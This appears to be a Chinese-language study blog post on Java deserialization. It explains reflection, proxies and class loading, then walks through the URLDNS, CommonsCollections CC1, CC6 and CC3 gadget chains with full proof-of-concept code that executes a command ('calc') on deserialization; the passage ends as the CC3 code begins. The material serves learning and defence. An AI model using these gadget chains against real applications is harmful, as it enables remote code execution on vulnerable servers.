Java反序列化
java反序列化
基础
序列化与反序列化的意义与php相同,都是为了将字符串对象什么的转化为字节流便于传输,但与php不同的是,java的反序列化是一个接口,表示这个类,或是这个对象可以被反序列化,但具体实现是用ObjectInputStream
和ObjectOutputStream
两个类来讲对象或字符串来转为字节流,这与php中的直接用serialize
和unserialize
来直接进行反序列化时有区别的。在这两个当中:
- ObjectOutputStream:代表对象输出流,它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。
- ObjectInputStream:代表对象输入流,它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。
所以在进行反序列化攻击时,前提都是你所寻找的攻击链上的各个类都实现了反序列化的接口。
攻击入口:常见的攻击入口时实现readObject或者重写readObject方法的位置,但是,只要是能由用户自主控制参数,并且进行反序列化的位置就能能当作反序列化攻击的入口。
攻击链:常见的攻击链寻找思路就是直接寻找一个类中的同名函数,通过控制调用函数的顺序来实现调用特定的类
常见执行命令的类:
java.lang.Runtime
类中存在exec方法能够执行命令。java.lang.ProcessBuilder
类能创建一个进程,并为该进程提供一组参数,然后启动该进程。Apache Commons Exec
是Apache Commons
组件库的一部分,提供了一个简单且功能丰富的 API 来执行外部命令。它提供了CommandLine
类来构建命令行,以及DefaultExecutor
类来执行命令。java.lang.Process
类来执行外部令。通过调用Runtime.exec()
或ProcessBuilder.start()
方法,可以获取到一个Process
对象,然后可以使用该对象来控制和监视外部进程的执行。- Google Guava 库提供了一个
Exec
类,用于执行外部命令。它提供了简洁的 API 来构建和执行命令。 - Spring Framework 提供了一个
ProcessUtils
类,用于执行外部命令。它提供了多个静态方法,用于执行命令并处理执行结果。
这些都能够进行命令执行。
反射获取类原型及其方法
在Java中,反射(Reflection)是指在运行时动态地获取、检查和操作类、对象、方法和字段的能力。它允许程序在运行时通过获取类的信息来操作类的成员和方法,而无需在编写代码时提前知道这些类的具体信息。
常用的通常有以下几个方法:
Class
:表示一个类或接口的元数据,可以通过该类获取类的各种信息。Constructor
:表示一个类的构造方法。Method
:表示一个类的方法。Field
:表示一个类的字段。
这些方法的作用如下:
- 获取类信息:通过
Class
类,我们可以获取一个类的信息,包括类的名称、父类、实现的接口、构造函数和方法等。我们可以使用Class.forName("类名")
方法或者通过对象的getClass()
方法来获取Class
对象。 - 创建对象:通过反射,我们可以使用类的构造函数来动态创建对象。使用
Class
的newInstance()
方法或者通过Constructor
类的newInstance()
方法,我们可以在运行时创建对象。 - 调用方法:通过
Method
类,我们可以调用类的方法。我们可以使用Class
的getMethod()
方法来获取方法,然后使用Method
的invoke()
方法来调用方法。这使得我们可以在不知道方法名的情况下,根据运行时的需求来调用特定的方法。 - 访问和修改字段:通过
Field
类,我们可以访问和修改类的字段的值。我们可以使用Class
的getField()
或getDeclaredField()
方法来获取字段,然后使用Field
的get()
和set()
方法来获取和设置字段的值。
我们通常先用Class
类来获取我们想要调用类的原型,再通过下面的方法来获取想要获取的参数
- 获取类范型:
Class<?>
- 获取公有和私有方法:
getMethods()
(公有)、getDeclaredMethods()
(私有) - 获取公私有参数:
getFields()
(公有)、getDeclaredFields()
(私有) - 获取各类方法:
java.lang.Class:表示类的原型,提供了获取构造方法、字段和方法等信息的方法。
getMethods():获取类的所有公有方法。
getDeclaredMethods():获取类的所有方法,包括私有方法。
getFields():获取类的所有公有字段。
getDeclaredFields():获取类的所有字段,包括私有字段。
java.lang.reflect.Method:表示类的方法,提供了执行方法和获取方法信息的方法。
java.lang.reflect.Field:表示类的字段,提供了获取和设置字段值的方法。
java.lang.reflect.Constructor:表示类的构造方法,提供了创建类的实例的方法。
假设现在有一个Person
类:
public class Person {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public void greet() {
System.out.println("Hello, my name is " + name + " and I'm " + age + " years old.");
}
private void privateMethod() {
System.out.println("This is a private method.");
}
}
在这个Person
类中存在一个构造参数,一个公有方法和一个私有方法。下面是一个反谁调用它的例子:
import java.lang.reflect.*;
public class Main {
public static void main(String[] args) throws Exception {
// 获取Person类的Class对象
Class<Person> personClass = Person.class;
// 实例化对象
Constructor<Person> constructor = personClass.getConstructor(String.class, int.class);
Person person = constructor.newInstance("John", 30);
// 获取类的方法
Method greetMethod = personClass.getMethod("greet");
Method privateMethod = personClass.getDeclaredMethod("privateMethod");
// 调用公有方法
greetMethod.invoke(person);
// 调用私有方法
privateMethod.setAccessible(true); // 必须设置可访问性
privateMethod.invoke(person);
// 获取和修改字段
Field nameField = personClass.getDeclaredField("name");
nameField.setAccessible(true);
String nameValue = (String) nameField.get(person);
System.out.println("Name: " + nameValue);
nameField.set(person, "Alice");
person.greet(); // 输出修改后的姓名
}
}
通过Class
来获取Person
的类的对象,然后通过Constructor
来实例化对象,再通过Method
来调用类的方法,最后再通过Field
来获取字段值。
代理
代理模式是常用的java设计模式,他的特征是代理类与委托类有同样的接口,代理类主要负责为委托类预处理消息、过滤消息、把消息转发给委托类,以及事后处理消息等。代理类与委托类之间通常会存在关联关系,一个代理类的对象与一个委托类的对象关联,代理类的对象本身并不真正实现服务,而是通过调用委托类的对象的相关方法,来提供特定的服务。
简单来说,就是一个中间人,代表其他对象来进行处理,举个例子:假设现在有房东、中介、租户三个对象,房东对象只有出租房子的方法,但租户需要有租金交付,房子维护等等方法,这个时候中介就有用了,他能代替房东进行租金收取,房子维护等方法的实现,但并不改变房东的原本的方法。这里的中介,就是代理
静态代理
静态代理是编译时就确定好的代理类。你需要手动创建代理类和真实对象的接口。
工作原理:静态代理的代理类在编译时就已经创建好,并且实现了和真实对象一样的接口。代理类中会持有一个真实对象的引用,在方法调用时,可以在调用真实对象方法之前或之后添加额外的功能。
举个例子:
// 真实对象的接口
public interface Subject {
void request();
}
// 真实对象
public class RealSubject implements Subject {
@Override
public void request() {
System.out.println("RealSubject: Handling request.");
}
}
// 代理对象
public class ProxySubject implements Subject {
private RealSubject realSubject;
public ProxySubject(RealSubject realSubject) {
this.realSubject = realSubject;
}
@Override
public void request() {
// 在调用真实对象之前做一些额外的操作
System.out.println("Proxy: Before calling request.");
realSubject.request();
// 在调用真实对象之后做一些额外的操作
System.out.println("Proxy: After calling request.");
}
}
// 使用代理对象
public class Main {
public static void main(String[] args) {
RealSubject realSubject = new RealSubject();
ProxySubject proxy = new ProxySubject(realSubject);
proxy.request();
}
}
在这个例子中,我们有一个代理对象在不改变原本真实对象的情况下是西安对功能的增加,但是缺点是我们每增加一个代理,我们就需要多个代理类,假设说我们有a、b、c、d等很多个代理,我们就需要编写对应数量的代理类。及其复杂。
动态代理
动态代理是在运行时创建的代理类。你不需要手动编写代理类代码,Java 会自动生成代理类。
工作原理:动态代理利用 Java 反射机制在运行时生成代理类。你只需要提供一个接口和一个 InvocationHandler
对象,Java 会自动创建一个代理对象。
举个例子:
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
// 真实对象的接口
public interface Subject {
void request();
}
// 真实对象
public class RealSubject implements Subject {
@Override
public void request() {
System.out.println("RealSubject: Handling request.");
}
}
// InvocationHandler 实现类
public class DynamicProxyHandler implements InvocationHandler {
private Object realSubject;
public DynamicProxyHandler(Object realSubject) {
this.realSubject = realSubject;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
// 在调用真实对象之前做一些额外的操作
System.out.println("Proxy: Before calling request.");
Object result = method.invoke(realSubject, args);
// 在调用真实对象之后做一些额外的操作
System.out.println("Proxy: After calling request.");
return result;
}
}
// 使用动态代理对象
public class Main {
public static void main(String[] args) {
RealSubject realSubject = new RealSubject();
Subject proxy = (Subject) Proxy.newProxyInstance(
realSubject.getClass().getClassLoader(),
realSubject.getClass().getInterfaces(),
new DynamicProxyHandler(realSubject)
);
proxy.request();
}
}
在这个例子当中,我们就不需要每新增一个真实对象就编写一个对应的代理对象,只需实现InvocationHandler
实现类,然后在每次真是对象需要相同的代理功能时,调用就行。
类的动态加载
类加载器
类加载器(ClassLoader)是 Java 虚拟机 (JVM) 中的一个组件,用于动态加载 Java 类到 JVM 中。类加载器负责在程序运行时将类的字节码文件(.class 文件)加载到内存,并将其转换为 Class
对象,以便 JVM 可以执行这些类。
作用:
- 加载类:从文件系统、网络或者其他来源加载 Java 类。
- 连接类:验证、准备和解析类数据。
- 初始化类:执行类的静态初始化块和静态变量的初始化。
类加载器有很多种,通常分为下面这几种:虚拟机自带的加载器,启动类(根)加载器,扩展类加载器,应用程序加载器
几种类加载器
引导类加载器
引导类加载器(BootstrapClassLoader),底层原生代码是 C++ 语言编写,属于 JVM 一部分。
不继承 java.lang.ClassLoader
类,也没有父加载器,主要负责加载核心 java 库(即 JVM 本身),存储在 /jre/lib/rt.jar
目录当中。(同时处于安全考虑,BootstrapClassLoader
只加载包名为 java
、javax
、sun
等开头的类)
扩展类加载器
扩展类加载器(ExtensionsClassLoader),由 sun.misc.Launcher$ExtClassLoader
类实现,用来在 /jre/lib/ext
或者 java.ext.dirs
中指明的目录加载 java 的扩展库。Java 虚拟机会提供一个扩展库目录,此加载器在目录里面查找并加载 java 类。
app类加载器
App类加载器/系统类加载器(AppClassLoader),由 sun.misc.Launcher$AppClassLoader
实现,一般通过通过( java.class.path
或者 Classpath
环境变量)来加载 Java 类,也就是我们常说的 classpath 路径。通常我们是使用这个加载类来加载 Java 应用类,可以使用 ClassLoader.getSystemClassLoader()
来获取它。
各场景下代码块的加载顺序
代码块主要有下面四种
- 静态代码块:
static{}
- 构造代码块:
{}
- 无参构造器:
ClassName()
- 有参构造器:
ClassName(String name)
在不同的情况下,这些会有不同的执行
一、实例化对象
例子如下:
package src.DynamicClassLoader;
// 存放代码块
public class Person {
public static int staticVar;
public int instanceVar;
static {
System.out.println("静态代码块");
}
{
System.out.println("构造代码块");
}
Person(){
System.out.println("无参构造器");
}
Person(int instanceVar){
System.out.println("有参构造器");
}
public static void staticAction(){
System.out.println("静态方法");
}
}
package src.DynamicClassLoader;
// 代码块的启动器
public class Main {
public static void main(String[] args) {
Person person = new Person();
}
}
在Person类中存在静态方法、构造方法、有参方法、无参方法,在运行main方法后情况如下
结论:
通过 new
关键字实例化的对象,先调用静态代码块,然后调用构造代码块,最后根据实例化方式不同,调用不同的构造器。
下面的东西都差不多,我们直接说结论和粘运行结果:
二、调用静态方法
运行结果
结论:
不实例化对象直接调用静态方法,会先调用类中的静态代码块,然后调用静态方法
**三、**对类中的静态成员变量赋值
结论:
在对静态成员变量赋值前,会调用静态代码块
四、使用 class 获取类
结论:利用 class
关键字获取类,并不会加载类,也就是什么也不会输出。
**五、**使用 forName 获取类
结论:
Class.forName(className)
和Class.forName(className, true, ClassLoader.getSystemClassLoader())
等价,这两个方法都会调用类中的静态代码块,如果将第二个参数设置为false
,那么就不会调用静态代码块
**六、**使用 ClassLoader.loadClass() 获取类
结论:
ClassLoader.loadClass()
方法不会进行类的初始化,当然,如果后面再使用newInstance()
进行初始化,那么会和场景一、实例化对象
一样的顺序加载对应的代码块。
详细讲述见:Java反序列化基础篇-05-类的动态加载 | Drunkbaby’s Blog
URLDNS
链的分析
URLDNS
链常用于检测java反序列化是否存在,因为是原生态,因此不存在版本限制,我们可以在任意版本使用此链来检测是否存在Java反序列化。直接看ysoserial的payload
:
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
利用GPT来解释题解:
大概意思就是,现在URL类可以被序列化和反序列化,在HashMap
这个类中有readObject方法(readObject
方法是 Java 中的一个特殊方法,用于自定义反序列化的过程。当对象被反序列化时,ObjectInputStream
会调用该方法来重建对象的状态。这样可以在对象被反序列化时执行一些特殊的逻辑,例如对反序列化后的字段进行验证、修正或者初始化),这个方法在反序列化时会自动触发,且可接受一个参数,而HashMap
中存在一个hashcode方法,在URL类中也存在一个hashcode方法,当我们把url类当参数传入hashmap中的readObject中时,就会从原本的调用hashmap中的hashcode转而调用URL中的hashcode,从而实现对目标类的调用。
hashmap → readObject → hash -URL.hashcode → getHostAddress → InetAddress.getByName(host);
CC1链流程
cc1通常有两个类可以用来攻击,TransformMap和LazyMap,我们先讲解TransformMap这条链子:
利用TransformMap进行攻击
按前人的经验来说,通常我们可以看实现Transformer
接口的类
然后直接进InvokerTransformer
这个类当中看,在这个类当中发现一个transform
方法,可以通过反射任意调用类:
我们可以尝试通过这个类来执行命令,来执行命令调用计算器。
package ysoserial;
import org.apache.commons.collections.functors.InvokerTransformer;
public class test6 {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(runtime);
}
}
这样就能执行calc命令调用计算器。既然能够执行命令,那么接下来就可以尝试寻找链子了
现在我们需要一个同样有transform
这个方法的函数,在全局查找后在TransformedMap
类中找到一个 checkSetValue()
方法调用了 transform()
方法。
查到这里后我们我们看valueTransformer.transform
当中的valueTransformer
的位置,最终在TransformerMap
的构造方法中有这个参数。
因为构造方法是protected
,所以现在我们需要寻找利用TransformedMap
构造方法。然后在TransformerMap
中的Map decorate
中找到了对构造方法的调用。
找到这一步就可以直接写利用链了
package ysoserial.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Test5 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> oo = new HashMap<>();
Map destop = TransformedMap.decorate(oo,null,invokerTransformer);
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(destop, runtime);
}
}
大致思路为:
- 在
InvokerTransformer
中存在transform
方法,可以通过invoke
方法来进行反射的任意类的调用 - 在
TransformedMap
类中一个checkSetValue
方法,存在valueTransformer.transform(value)
其中valueTransformer
参数时可以控制的,在TransformedMap
构造方法的方法中控制。 - 然后因为
TransformedMap
是protected
的,所以我们需要找一个调用TransformedMap
构造方法的其他方法。 - 然后找到一个
Map
类的静态方法中调用了TransformedMap
这个方法,然后就可以构造了。
现在的链子中,我们只找到了checkSetValue
,由于方法.transform
无法继续向下寻找,所以我们只能通过checkSetValue
继续向下寻找,查找用法,发现在AbstractInputCheckedMapDecorator
类中存在一个静态的内部类MapEntry
继承AbstractInputCheckedMapDecorator
,其中的setValue
方法存在调用同名方法checkSetValue
的情况:
然后我们查看重写这个类的其他类,找到一个,跟进去发现一个定义的接口
所以,我们在进行.decorate
调用时,进行Map
类的遍历时,会进入到setValue
中,而setValue
会按上面的流程来调用checkSetValue
,然后就可以按最上面的流程进行命令执行,现在修改下代码:
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class decorateCalc {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(decorateMap, runtime);
}
}
现在其中有几个问题:
- Runtime的对象无法被序列化,需要用反射使其变为可序列化形式
setValue()
的传参,需要传Runtime
对象,而在实际情况中的setValue
的传参是传递的
问题一很好解决,我们直接通过InvokerTransformer中的transform方法反射调用Runtime的对象即可。
问题二,存在一个Constansformer类中同样存在transform方法,但他是你输入哪一个对象,有他就返回哪一个对象
因此,我们可以通过这个类来进行setValue的传参,最终poc如下:
package ysoserial.CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class POC {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","aaa");
Map<Object,Object> map1 = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = c.getDeclaredConstructor(Class.class,Map.class);
ctor.setAccessible(true);
Object o = ctor.newInstance(Target.class,map1);
serialize(o);
unserialize("POC.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("POC.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object object =ois.readObject();
return object;
}
}
通过这种方法就能整个反序列化执行命令,我们就完成了。
大致流程图如下:
这与官方给出的cc1的不相同,官方给出的如下
package ysoserial.CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.hibernate.criterion.Order;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class POC_LazyMap {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
/*
明确链子:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
HashMap<Object,Object> map=new HashMap<>();
Map<?,?> lazymap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = c.getDeclaredConstructor(Class.class,Map.class);
ctor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class,lazymap);
Map mapProxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class},invocationHandler);
InvocationHandler invocationHandlerProxy = (InvocationHandler) ctor.newInstance(Override.class,mapProxy);
// serialize(invocationHandlerProxy);
unserialize("PocLazyMap.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("PocLazyMap.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object object =ois.readObject();
return object;
}
}
这个的流程图如下:
这条链与上面的不同是利用了LazyMap这个类中的get方法中条用了transform,然后AnnotationinvocationHandler类中利用用了get方法和invoke来实现动态代理调用AnnotationinvocationHandler类中的readObject方法。最终实现链子。
CC6链
在jdk1.8.171之后,对AnnotationinvocationHandler进行了修改,导致了原本的那两条链子无法使用
cc6与cc1的链子差不多,跟第二条链子特别的像,在LazyMap之前的调用链都相同,不同的就是get方法的调用,这条链使用的是TiedMapEntry中的getValue方法
然后继续向下寻找,会发现在这个类中的hashCode方法中存在对getValue的调用:
然后就是寻找hashCode方法的调用,然后据文章所说,在HashMap的put方法调用时,会自动调用hashCode方法,到此,我们就寻找完了整个链子,可以编写poc如下:
package ysoserial.myCC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
public class POC {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
HashMap<Object,Object> map=new HashMap<>();
Map<?,?> lazymap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry entry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> ccc = new HashMap<>();
ccc.put(entry,"ccc");
serialize(ccc);
// unserialize("MyPOC6.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("MyPOC6.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object object =ois.readObject();
return object;
}
}
在现有的情况下进行序列化和反序列化时,会发现一个奇怪的现象,在进行序列化的时候,就会被触发:
我们打下断点跟进调试看看:
可以发现的是,在put方法调用的时候也会调用hash,然后会调用hashCode:
然后就会调用TiedMapEntry方法中的hashCode,从而提前完成链子,为了解决这个问题,与DNS链差不多,我们需要在put方法前先将关键值修改为一个无关紧要的值,在序列化完之后再进行一遍赋值,再put,达到在反序列化的时候进行调用。
修改后poc如下:
package ysoserial.myCC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class POC {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
HashMap<Object,Object> map=new HashMap<>();
Map<?,?> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry entry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> ccc = new HashMap<>();
ccc.put(entry,"ccc");
Class clazz = LazyMap.class;
Field field = clazz.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazymap,chainedTransformer);
// serialize(ccc);
unserialize("MyPOC6.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("MyPOC6.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object object =ois.readObject();
return object;
}
}
修改完后,确实是解决了在序列化时会执行链子的这个问题,但是新的问题出来了,反序列化他也不会执行这个链子了,原因就是,在第一次put时,我们传入了一个key,导致hash被消耗,进而导致反序列化执行不成功
所以我们需要在put后删除掉这个key,便能成功执行链子。
最终poc:
package ysoserial.myCC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class POC {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
HashMap<Object,Object> map=new HashMap<>();
Map<?,?> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry entry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> ccc = new HashMap<>();
ccc.put(entry,"ccc");
lazymap.remove("aaa");
Class clazz = LazyMap.class;
Field field = clazz.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazymap,chainedTransformer);
// serialize(ccc);
unserialize("MyPOC6.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("MyPOC6.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object object =ois.readObject();
return object;
}
}
可以看到,执行成功。
总结一下,CC1和CC6都是通过InvokerTransform的transform方法中invoke的任意类的调用来调用Runtime.exec进行命令执行,然后就是LazyMap中的get方法的transform同名方法的使用,在这里就分开CC1和CC6了。
- CC1:接下来就是AnnotationInvocationHandler中存在invoke方法,能够实现动态代理调用LazyMap中的方法,然后同样是这个类中的readObject方法,当作入口类。
- CC6:在LazyMap类之后就是TiedMapEntry类中的getValue方法对get同名方法的使用,再之后就是这个类的hashcode方法对getValue方法的使用,然后就是HashMap在使用时对直接调用hashCode,这样,这条链子就完成了。
三条链子的大致流程如下如下。
CC3
CC3与前两条链子都不同,前两条是通过反射动态调用Runtime函数,但这条链是通过类的动态加载来加载我们编写好的恶意class文件来执行恶意命令。
我们首先看ClassLoder,找到defineClass,这是我们执行任意代码的方法
我们查找用法后在TemplatesImpl类中找到了defineClass方法
在这个类中的getTransletInstance方法中又存在newInstance()的调用
到此为止,我们的链子就出来了,我们只需要新建一个恶意类,编译成class文件,然后新建TemplatesImpl类,获取class,然后控制其中关键的参数。
然后就可以编写POC了。
package ysoserial.MyCC3;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import org.apache.xalan.xsltc.trax.TrAXFilter;
import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class POC {
